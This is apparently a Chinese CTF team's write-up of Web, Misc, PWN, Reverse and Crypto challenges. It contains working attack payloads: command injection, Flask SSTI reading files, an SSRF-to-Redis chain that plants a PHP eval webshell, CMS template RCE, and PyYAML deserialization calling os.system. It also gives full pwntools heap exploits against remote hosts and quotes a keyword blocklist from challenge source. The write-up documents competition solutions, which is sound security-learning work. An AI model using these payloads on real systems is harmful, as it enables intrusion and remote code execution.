大意了,没有做题,掉到了第八
Web
Command
命令执行,ban了很多东西
flag藏在隐藏目录下
payload:
/?url=127.0.0.1|ca""t%09/etc/.findfl?g/fla?.txt
flaskbot
在debug模式下,乱输一个路由可以得到一部分源码
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888) win.
读源码可得user可控。注入点在cookie,要传入base64
payload:读出源码
{{session.__init__.__globals__.__builtins__.open("/app/app.py").read()}}
from flask import Flask,render_template,request,make_response,redirect,url_for,render_template_string
import math
import base64
import sys
app = Flask(__name__)
def safe(str):
black_list = ['flag','os','system','popen','import','eval','chr','request', 'subprocess','commands','socket','hex','base64','*','?']
for x in black_list:
if x in str.lower():
return "Damn you hacker! You will never"
return str
def guessNum(num,name):
l=0
r=1000000000.0
mid=(l+r)/2.0
ret=""
cnt=0
while not abs(mid-num)<0.00001:
cnt=cnt+1
mid=(l+r)/2.0
if mid>num:
r=mid
ret+="{0}:{1} is too large<br/>".format(cnt,mid)
else:
l=mid
ret+="{0}:{1} is too small<br/>".format(cnt,mid)
if cnt > 50:
break
if cnt < 50:
ret+="{0}:{1} is close enough<br/>I win".format(cnt,mid)
else :
ret+="Wow! {0} win.".format(safe(name))
return ret
@app.route('/',methods=['POST','GET'])
def Hello():
if request.method == "POST":
user = request.form['name']
resp = make_response(render_template("guess.html",name=user))
resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
return resp
else:
user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))
@app.route('/guess',methods=['POST'])
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
return "Too Large"
else:
return render_template_string(guessNum(num,name))
@app.errorhandler(404)
def miss(e):
return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404
if __name__ == '__main__':
f_handler=open('/var/log/app.log', 'w')
sys.stderr=f_handler
app.run(debug=True, host='0.0.0.0',port=8888) win.
{{session.__init__.__globals__.__builtins__['ev'+'al']("__imp"+"ort__('o'+'s').listdir('/')")}}
最终payload
{{session.__init__.__globals__.__builtins__.open("/super_secret_fl""ag.txt").read()}}
easygogogo
大概是非预期了
先开一个容器 任意注册账号,进入上传
构造目录穿越到根目录下的flag路径,记录返回cookie
再开一个容器,任意上传文件后进入show
利用之前flag的cookie可读flag
解码得到flag
doyouknowssrf
GACTF2020 SSSRFME原题
参考https://mp.weixin.qq.com/s/0cOsuIFJwHbHIYvluQq4WQ
尝试导入so文件反弹shell失败了
直接写马到web路径
payload:
?url=http://root@127.0.0.1:5000@www.baidu.com/?url=http://127.0.0.1:6379?%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
蚁剑访问得flag
easyzzz
我们的CBCTF的dangerous-function中已经用过ZZZCMS的前台RCE出过题了,所以绕了waf拿到一血
参考https://www.anquanke.com/post/id/212808
搜索框可以交互,试了下最简单的标签
{if:1>2}45645646{end if}
发现被ban,大概也知道是这个地方了,试了下 if 貌似会ban
去官方文档看了下http://help.zzzcms.com/259327
发现了这样的写法
{if:{zzz:userid}>0}
已登录结果
{else}
未登录结果
{end if}
然后想着拼接出if,找了下发现了这个标签,试了下可以
{leftstr:e,1}
拼接一下end if,没问题
{leftstr:e,1}{leftstr:n,1}{leftstr:d,1} {leftstr:i,1}{leftstr:f,1}
去源码看了下,是先解析leftstr标签,再解析if标签的
那么拼一下,看一下目录,然后拿flag
{{leftstr:i,1}{leftstr:f,1}:var_dump(`cat /flag`)}453245432532{{leftstr:e,1}{leftstr:n,1}{leftstr:d,1} {leftstr:i,1}{leftstr:f,1}}
profile system
上传yaml文件,并且能看和下载文件,下载位置发现了目录穿越,读到了源码
app.py
from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
session['priviledge'] = 'guest'
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except:
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template("view.html",user = info['user'])
if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)
看懂源码,大概思路是要伪造session ,然后yaml反序列化漏洞
伪造session[‘priviledge’] ==’elite’
yaml.load函数是不安全的
info = yaml.load(data)
正则过滤了一些
re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE)
#主要 .^_`~ 这几个
谷歌搜了一遍发现有个wp
<a href=”https://hackmd.io/@harrier/uiuctf20″”>https://hackmd.io/@harrier/uiuctf20
直接用里面payload,但是没有回显,考虑ping或者curl外带,不成功。
想到刚开始下载yaml文件的功能,于是重定向到那个目录就行了。
user: Administrator
a: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x31\x32\x33\x27\x29" #__import__('os').system('/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/123')
user: Administrator 理论上可以不用写也能出flag,但是写上去能判断你的payload有无错误,报错返回elite-user 没报错返回Administrator
Misc
签到
base64解码,谁能想到签到也是一血呢flag{qq_group_826566040}
进制反转
下载得到一个rar文件,但是打开显示压缩包文件头已损坏。
当rar被伪加密后,就会显示报这种错误,用010editor打开rar文件,可以发现加密标识位是1,可知是伪加密:
将1修改成0即可正常打开文件,打开文件后获得一个flag.wav文件,但是播放不了。
用010editor打开发现没有头文件,而且中间的数据块也怪怪的,显然需要异或一下。
先查看文件尾,发现flag信息,flag是歌名
整个文件对FF异或,可获得正确的wav文件:
wav文件修复后,可以播放了。但是完全听不懂说的是哪国的语言,利用听歌识曲也没法听出来。
之后发现需要倒放,利用AU将整首歌倒放后声音明显清楚了,然后利用听歌识曲得到这首歌名叫做:
全部改成大写,去掉括号和里面的内容,去掉空格即可得到flag
带音乐家
给了两个文件 一个 decode_it ,一个加密的Doc1.rar
很明显先要解decode_it,然后得到密码解rar
decode_it打开后发现是midi文件,播放没什么特点,放到audacity看了下没有什么
网上搜了下,先试了lsb隐写,但是解不出什么东西,然后搜到了个wp,
Velato是一种使用MIDI文件作为源代码的编程语言
下面谷歌机翻的
然后下载个工具运行一下
这个其实就是rar的密码
解压后发现了doc文档
上面是精灵语,查表后发现是FLAGIS,下面内容base64解密后奇奇怪怪,可能是某种加密吧,于是回头找了找,在rar的注释里发现了东西
每行长度不确定,考虑摩斯密码,解得
AESKEY9219232322
在ecb模式下得到flag
到点了
下载附件得到三个word文档,打开第一个word文档,隐藏里提示密码为八位字母数字
第二个word文档是加密状态的,提取word文档加密的hash值,网上搜到了类似的文章
python3 office2john.py dummy.docx > hash.txt
之后用hashcat跑,题目说的是8位数字和字母,太多了,就先试着用纯数字跑,
hashcat -m 9400 --username hash.txt -a 3 ?d?d?d?d?d?d?d?d -o cracked_pass.txt
然后跑出来了,密码是20201024,后来发现是文档的修改日期
第二个word文档解开密码后能看到图片下面有一块颜色被修改成了白色的数据
改成红色可以看到是AB字符串,猜测是培根密码
利用CyberChef解码,得到:GOODNIGHTSWEETIE
打开第三个word文档,发现无法读取的内容
修改后缀为压缩包,发现4.zip
4.zip里有一个bmp图片,先用zsteg分析一下:
发现有一个wbStego隐写,直接提取提取不出来,需要利用工具wbstego43open。
选择Decode,选择图片,输入密码后,设置保存路径即可获得flag文件
xixixi
下载附件得到一个磁盘文件,装载后得到一张kejin.png,左上角有flag的一小部分
利用DiskGenius装载虚拟磁盘,恢复文件后得到被删除的文件
有用的一共就两个文件,一个是xi.py,一个是xixi.py。得到两段代码:
xixi.py
import struct
class FAT32Parser(object):
def __init__(self, vhdFileName):
with open(vhdFileName, 'rb') as f:
self.diskData = f.read()
self.DBR_off = self.GetDBRoff()
self.newData = ''.join(str(self.diskData))
def GetDBRoff(self):
DPT_off = 0x1BE
target = self.diskData[DPT_off+8:DPT_off+12]
DBR_sector_off, = struct.unpack("<I", target)
return DBR_sector_off * 512
def GetFAT1off(self):
target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]
FAT1_sector_off, = struct.unpack("<H", target)
return self.DBR_off + FAT1_sector_off * 512
def GetFATlength(self):
target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]
FAT_sectors, = struct.unpack("<I", target)
return FAT_sectors * 512
def GetRootoff(self):
FAT_length = self.GetFATlength()
FAT2_off = self.GetFAT1off() + FAT_length
return FAT2_off + FAT_length
def Cluster2FAToff(self, cluster):
FAT1_off = self.GetFAT1off()
return FAT1_off + cluster * 4
def Cluster2DataOff(self, cluster):
rootDir_off = self.GetRootoff()
return rootDir_off + (cluster - 2) * 512
xi.py:
import struct
from xixi import FAT32Parser
from xixixi import Padding, picDepartList
def EncodePieces():
global clusterList
res = []
Range = len(picDepartList) # 58
# GetRandomClusterList(n) - Generate a random cluster list with length n
clusterList = GetRandomClusterList(Range)
for i in range(Range):
if i != Range - 1:
newCRC = struct.pack("<I", clusterList[i+1])
plainData = picDepartList[i][:-4] + newCRC
else:
plainData = picDepartList[i]
# Show the first piece to him, hhh
if i == 0:
newPiece = plainData
else:
newPiece = ''
key = clusterList[i] & 0xFE
for j in plainData:
newPiece += chr(ord(j) ^ key)
# Padding() -- Fill to an integral multiple of 512 with \xFF
res.append(Padding(newPiece))
return res
可知文件的CRC32被修改了,还被异或了。
写一个逆脚本,跑一下即可得到flag:
import struct
import binascii
from xixi import FAT32Parser
fat=FAT32Parser("new.vhd")
f = open("new.vhd", "rb")
f.seek(0x27bae00) #定位图片
flag = open("flag.png", "wb")
flag.write(f.read(8)) #写入头文件
key = 0
def read(n):
global key
b = b''
for i in f.read(n):
b += (i ^ (key & 0xFE)).to_bytes(length=1,byteorder='big',signed=False)
return b
while 1:
d = read(8)
lenth, ctype_type = struct.unpack(">I4s", d)
#print(lenth,ctype_type) #length 数据长度,ctype_type 数据块类型
data = read(lenth)
crc = struct.unpack(">I", read(4))[0]
#print(crc)
real_crc = binascii.crc32(ctype_type+data) & 0xffffffff
#print(real_crc)
real_data = struct.pack(">I", lenth) + ctype_type + data + struct.pack(">I", real_crc)
flag.write(real_data)
if crc != real_crc: #CRC错误的IDAT数据块
b_endian = struct.pack(">I", crc)
clusterList = struct.unpack("<I", b_endian)[0]
#print(clusterList)
f.seek(fat.Cluster2DataOff(clusterList))
key = clusterList & 0xfe
if ctype_type == b"IEND":
break
PWN
影流之主
限制了函数调用的次数,但是自减操作到-1后就可以随便edit了
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='yingliuzhizhu'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
if local:
p=process("./"+binary_name)
else:
p=remote('112.126.71.170',45123)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sl(str(num))
def add():
cho(1)
def edit(idx,content):
cho(3)
sl(str(idx))
sl(content)
def show(idx):
cho(4)
sl(str(idx))
def delete(idx):
cho(2)
sl(str(idx))
def aaa(con):
cho(5)
sl(con)
add()
delete(0)
edit(0,p64(0x602060-0x23)+b'a'*(0x30-0x9))
add()
add()
edit(2,b'a'*0x13 + p64(0x602060) + p64(0x601FB0)+b'b'*(0x30-0x24))
show(1)
libc_base = leak_address()-0x6f6a0
print(hex(libc_base+0x6f6a0))
free_hook = libc_base+libc.sym['__free_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
print(hex(free_hook))
print(hex(malloc_hook))
one = libc_base+0xf1207
cho(3)
edit(0,p64(0x602060)+p64(malloc_hook-0x23)+b'1'*(0x30-0x11))
edit(1,b'a'*0x23+p64(one)+b'1'*(0x30-0x2c))
ia()
garden
通过给的malloc(0x30)和uaf构造堆块重叠,写one_gadgetd到freehook
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='garden'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
if local:
p=process("./"+binary_name)
else:
p=remote('8.131.69.237',32452)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla('>> ',str(num))
def add(idx,con):
cho(1)
sla('index?',str(idx))
sla('name?',con)
def show(idx):#1
cho(3)
sla('index?',str(idx))
def delete(idx):
cho(2)
sla('index?',str(idx))
def uaf(idx):#1
cho(5)
sla('steal?',str(idx))
def add2():#1
cho(6)
for i in range(9):
add(i,'a')
for i in range(7):
delete(8-i)
uaf(1)
show(1)
ru('\x0a')
libc_base = leak_address() - 0x1e4ca0
print(hex(libc_base))
delete(0)
add2()
for i in range(7):
add(8-i,'a')
add(0,'a')
delete(1)
delete(0)
for i in range(2,9):
delete(i)
for i in range(3,8):
add(i,'b')
free_hook = libc_base+libc.sym['__free_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
print(hex(free_hook))
print(hex(malloc_hook))
one = libc_base + 0xe2383
add(0,b'a'*0xd0+p64(0)+p64(0x111)+p64(free_hook))
add(1,'b'*8)
add(2,p64(one))
cho(2)
sla('index?',str(0))
ia()
Beauty_Of_ChangChun
smallbin stash打随机数
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='changchun'
#libc_name=''
if local:
p=process("./"+binary_name)
else:
p=remote('112.126.71.170',43652)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("scenery\n",str(num))
def add(size):
cho(1)
sla("size:",str(size))
def delete(idx):
cho(2)
sla("idx:",str(idx))
def show(idx):
cho(4)
sla("idx:",str(idx))
def edit(idx,data):
cho(3)
sla("idx:",str(idx))
sa("chat:",data)
def gift1(idx):
cho(5)
sla("idx",str(idx))
def gift2():
cho(666)
p.recvline()
addr = int(p.recvline()[:-1],16)
for i in range(7):
add(0xf0)
delete(0)
add(0xf0)#0
add(0xf0)#1
add(0x80)#2
delete(0)
delete(1)
add(0x100)#0
add(0xe0)#1
delete(1)
add(0x100)#1
delete(2)
add(0x90)#2
delete(0)
edit(0,'aaaa')
delete(0)
show(0)
p.recvuntil('see\n')
heap_base = leak_address()-0x2a0-0x700
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(1)
show(1)
p.recvuntil('see\n')
libc_base = leak_address()-0x1ebbe0
print(hex(heap_base),hex(libc_base))
delete(0)
gift2()
cho(5)
sl(p64(heap_base+0xc20)+p64(addr-0x10))
delete(2)
add(0x100)
edit(2,p64(libc_base+0x1ebce0))
print(hex(addr))
gift1(2)
ia()
babypwn
free之后没清空,可以利用残留数据,任意地址写和任意函数执行
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pwn'
libc_name='libc-2.23.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('8.131.69.237',52642)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla("choice:",str(num))
def init():
cho(1)
def create():
cho(2)
def add(size):
cho(3)
sla("size:",str(size))
def edit(data):
cho(4)
sla("content:",data)
def show():
cho(5)
def size():
cho(6)
init()
create()
init()
add(0x80)
show()
p.recvuntil('show:\n')
libc_base = u64(p.recv(8))-0x3c4b78
heap_base = u64(p.recv(8))
print(hex(libc_base),hex(heap_base))
free_hook = libc_base+libc.sym['__free_hook']
free_addr = libc_base+libc.sym['free']
system = libc_base+libc.sym['system']
#system = libc_base+0x45226
binsh = heap_base
menu_addr = 0x400D20
edit(p64(heap_base+0x10)+p64(heap_base)+p64(0x38323131313131)+p64(0)+p64(menu_addr))
size()
edit(p64(heap_base+0x10)+p64(free_hook)+p64(0x38323131313131)+p64(0)+p64(menu_addr)+b'a'*8*11+p64(0x90)+p64(0x21)+p64(heap_base)+p64(0)*2+p64(0x91)+b'/bin/sh\x00')
size()
edit(p64(system))
init()
ia()
Reverse
apk1
apk文件,java层的逻辑就是获取输入然后传进native的check函数,so中有一个混淆视听的函数check1,但check函数是动态注册的。我们可以用frida hook check中的关键部分,结合算法特征,check中函数的参数和返回值识别加密算法,最终发现是RC4和ECB的DES,hook得到密钥,解密即为flag。
frida脚本
Java.perform(function () {
//Module.getBaseAddress('libnative-lib.so').add(0x8295)
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE748),{
onEnter:function(args){
console.log("-------------------sub_e748---------------------");
this.arg1 = args[1];
console.log(hexdump(args[0], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[1], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[2], {
offset: 0,
length: 50,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_e748-leave---------------");
console.log(hexdump(this.arg1, {
offset: 0,
length: 10,
header: true,
ansi: true
}));
}
});
/*
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xDB0C),{
onEnter:function(args){
console.log("-------------------sub_DB0C---------------------");
this.arg2 = args[2];
console.log(hexdump(args[0], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[1], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
console.log(hexdump(args[2], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_DB0C-leave---------------");
console.log(hexdump(this.arg2, {
offset: 0,
length: 10,
header: true,
ansi: true
}));
}
});
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xD808),{
onEnter:function(args){
//this.var_arg0 = args[0];
//console.log('str='+Memory.readUtf8String(args[1]));
console.log("-------------------sub_d808---------------------");
this.arg1 = args[1];
console.log(hexdump(args[0], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_d808-leave---------------");
console.log(hexdump(this.arg1, {
offset: 0,
length: 10,
header: true,
ansi: true
}));
}
});*/
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE260),{
onEnter:function(args){
},
onLeave:function(retval){
console.log("sub_E260 returned with "+retval);
}
});
//sub_E5D0
Interceptor.attach(Module.getBaseAddress('libnative-lib.so').add(0xE5D0),{
onEnter:function(args){
console.log("-------------------sub_E5D0---------------------");
this.arg1 = args[1];
console.log(hexdump(args[0], {
offset: 0,
length: 50,
header: true,
ansi: true
}));
console.log(hexdump(args[1], {
offset: 0,
length: 10,
header: true,
ansi: true
}));
},
onLeave:function(retval){
console.log(retval);
console.log("-------------------sub_E5D0-leave---------------");
console.log(hexdump(this.arg1, {
offset: 0,
length: 50,
header: true,
ansi: true
}));
}
});
var a = Java.use('com.test.third.MainActivity');
a.check.implementation=function(p1){
console.log(p1);
return this.check(p1);
};
});
RE1
题目主函数非常巨大,无法F5,使用idaemu和unicorn模拟执行来辅助我们逆向算法。
from idaemu import *
a = Emu(UC_ARCH_X86, UC_MODE_64)
a.setData(0x80000000,'1234567890abcdefghij123456789012')
a.eFunc(0x810, 0x6d3,[0x80000000,32])
flag=''
for i in a.curUC.mem_read(0x80000000,32):
print hex(i)
打印出来发现题目对输入的变换就是一个简单的加法,提取出密文减回去即可。
addr = 0x18096
end_addr = 0x181cf
arr=[]
while(addr!=end_addr):
if(GetMnem(addr)=='cmp'):
arr.append(GetOperandValue(addr,1))
addr = NextHead(addr)
flag=''
for i in arr:
if(i>=0xe8):
flag+='0123456789'[i-0xe8]
else:
flag+='abcdef'[i-0x19]
print flag
Crypto
simplersa
wiener_attack,根据d的bit_legnth来judge。
exp:
#coding:utf-8
import gmpy2
from Crypto.Util.number import *
def transform(x,y): #使用辗转相处将分数 x/y 转为连分数的形式
res=[]
while y:
res.append(x//y)
x,y=y,x%y
return res
def continued_fraction(sub_res):
numerator,denominator=1,0
for i in sub_res[::-1]: #从sublist的后面往前循环
denominator,numerator=numerator,i*numerator+denominator
return denominator,numerator #得到渐进分数的分母和分子,并返回
#求解每个渐进分数
def sub_fraction(x,y):
res=transform(x,y)
res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res))))) #将连分数的结果逐一截取以求渐进分数
return res
#以上是获得e/n的连分数
def get_pq(a,b,c): #由p+q和pq的值通过维达定理来求解p和q
par=gmpy2.isqrt(b*b-4*a*c) #由上述可得,开根号一定是整数,因为有解
x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
return x1,x2
def wienerAttack(e,n):
for (d,k) in sub_fraction(e,n): #用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
#if k==0: #可能会出现连分数的第一个为0的情况,排除
#continue
#if (e*d-1)%k!=0: #ed=1 (\pmod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
#continue
if 250<=d.bit_length()<=256:
print(d)
global c
print(long_to_bytes(pow(c,d,n)))
else:
continue
phi=(e*d-1)//k #这个结果就是 φ(n)
px,qy=get_pq(1,n-phi+1,n)
if px*qy==n:
p,q=abs(int(px)),abs(int(qy)) #可能会得到两个负数,负负得正未尝不会出现
d=gmpy2.invert(e,(p-1)*(q-1)) #求ed=1 (\pmod φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
return d
print("该方法不适用")
e=1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
c=1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
d = wienerAttack(e,n)
print("d=",d)
explosure
dp高位泄露
small_roots解方程
先恢复dp,然后爆破解密
dp=1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
c=46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616
e=7621
n=140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
#print n-c
a = dp<<200
kbits = 200
PR.<x> = PolynomialRing(Zmod(n))
_e =inverse_mod(e,n)
for kp in range(e):
try:
print(kp)
f = x + a - _e * (1 - kp)
x0 = f.monic().small_roots(X=2^kbits, beta=0.4)
print(x0)
if x0:
print(x[0])
break
except:
pass
from Crypto.Util.number import *
r=int(x0[0])
dpp = a + r
print (dpp)
def fxxk(n,e,dp):
for i in range(1,e+1):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
print(p,q)
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
print(d)
print(long_to_bytes(pow(c,d,n)))
fxxk(n,e,dpp)
RSAssss
yafu分解得到p(nextprime(q) 和 qnextprime(p),
然后爆破x和y解方程( nextprime(p) = p + x, nextprime(q) = q+y )
from gmpy2 import *
from tqdm import *
from Crypto.Util.number import *
n=8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257
c=3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
#yufu
